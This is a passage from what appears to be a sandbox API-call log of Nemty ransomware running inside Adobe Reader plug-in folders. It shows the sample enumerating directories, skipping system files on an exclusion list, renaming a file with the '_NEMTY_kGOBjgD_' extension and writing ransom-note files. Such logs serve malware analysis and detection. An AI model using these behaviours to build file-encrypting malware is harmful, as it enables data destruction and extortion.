(HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0190.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0190.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0190.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0190.629] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\makeaccessible.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\MakeAccessible.api._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\makeaccessible.api._nemty_kgobjgd_")) returned 1 [0190.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0190.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.630] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia", cAlternateFileName="MULTIM~1")) returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2=".") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="..") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="...") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="windows") returned -1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="$RECYCLE.BIN") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="rsa") returned -1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="NTDETECT.COM") returned -1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="ntldr") returned -1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="MSDOS.SYS") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="IO.SYS") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="boot.ini") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="boot.ini") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="AUTOEXEC.BAT") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="ntuser.dat") returned -1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="desktop.ini") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="CONFIG.SYS") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="RECYCLER") returned -1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="BOOTSECT.BAK") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="bootmgr") returned 1 [0190.630] lstrcmpiW (lpString1="Multimedia", lpString2="programdata") returned -1 [0190.631] lstrcmpiW (lpString1="Multimedia", lpString2="appdata") returned 1 [0190.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia", lpUsedDefaultChar=0x0) returned 10 [0190.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia", lpUsedDefaultChar=0x0) returned 10 [0190.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0190.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0190.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0190.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0190.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0190.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0190.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0190.631] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0190.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.633] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.633] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0190.634] CloseHandle (hObject=0x254) returned 1 [0190.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0190.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0190.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0190.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0190.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0190.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0190.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0190.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0190.634] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0190.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.635] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.635] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0190.636] CloseHandle (hObject=0x254) returned 1 [0190.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0190.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0190.636] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x25456730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25456730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0190.636] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0190.636] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x25456730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25456730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.636] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0190.636] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0190.636] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0190.636] lstrcmpiW (lpString1="MPP", lpString2=".") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="..") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="...") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="windows") returned -1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="$RECYCLE.BIN") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="rsa") returned -1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="NTDETECT.COM") returned -1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="ntldr") returned -1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="MSDOS.SYS") returned -1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="IO.SYS") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="boot.ini") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="boot.ini") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="AUTOEXEC.BAT") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="ntuser.dat") returned -1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="desktop.ini") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="CONFIG.SYS") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="RECYCLER") returned -1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="BOOTSECT.BAK") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="bootmgr") returned 1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="programdata") returned -1 [0190.637] lstrcmpiW (lpString1="MPP", lpString2="appdata") returned 1 [0190.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0190.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP", cchWideChar=3, lpMultiByteStr=0x653e890, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP", lpUsedDefaultChar=0x0) returned 3 [0190.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0190.637] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MPP", cchWideChar=3, lpMultiByteStr=0x653e890, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MPP", lpUsedDefaultChar=0x0) returned 3 [0190.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6347058 [0190.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0190.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6347058 | out: hHeap=0x4f90000) returned 1 [0190.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0190.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0190.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0190.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0190.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0190.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0190.638] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0190.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0190.640] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.640] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0190.640] CloseHandle (hObject=0x2e8) returned 1 [0190.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0190.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0190.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0190.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0190.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0190.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0190.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340250 [0190.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0190.641] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0190.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0190.642] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.642] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0190.642] CloseHandle (hObject=0x2e8) returned 1 [0190.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0190.643] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x25456730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25456730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0190.643] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0190.643] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x25456730, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x25456730, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0190.644] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0190.644] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0190.644] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.CAT", cAlternateFileName="")) returned 1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2=".") returned 1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="..") returned 1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="...") returned 1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="windows") returned -1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="$RECYCLE.BIN") returned 1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="rsa") returned -1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="NTDETECT.COM") returned -1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="ntldr") returned -1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="MSDOS.SYS") returned -1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="IO.SYS") returned -1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="boot.ini") returned 1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="boot.ini") returned 1 [0190.644] lstrcmpiW (lpString1="Flash.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0190.645] lstrcmpiW (lpString1="Flash.CAT", lpString2="ntuser.dat") returned -1 [0190.645] lstrcmpiW (lpString1="Flash.CAT", lpString2="desktop.ini") returned 1 [0190.645] lstrcmpiW (lpString1="Flash.CAT", lpString2="CONFIG.SYS") returned 1 [0190.645] lstrcmpiW (lpString1="Flash.CAT", lpString2="RECYCLER") returned -1 [0190.645] lstrcmpiW (lpString1="Flash.CAT", lpString2="BOOTSECT.BAK") returned 1 [0190.645] lstrcmpiW (lpString1="Flash.CAT", lpString2="bootmgr") returned 1 [0190.645] lstrcmpiW (lpString1="Flash.CAT", lpString2="programdata") returned -1 [0190.645] lstrcmpiW (lpString1="Flash.CAT", lpString2="appdata") returned 1 [0190.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CAT", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, 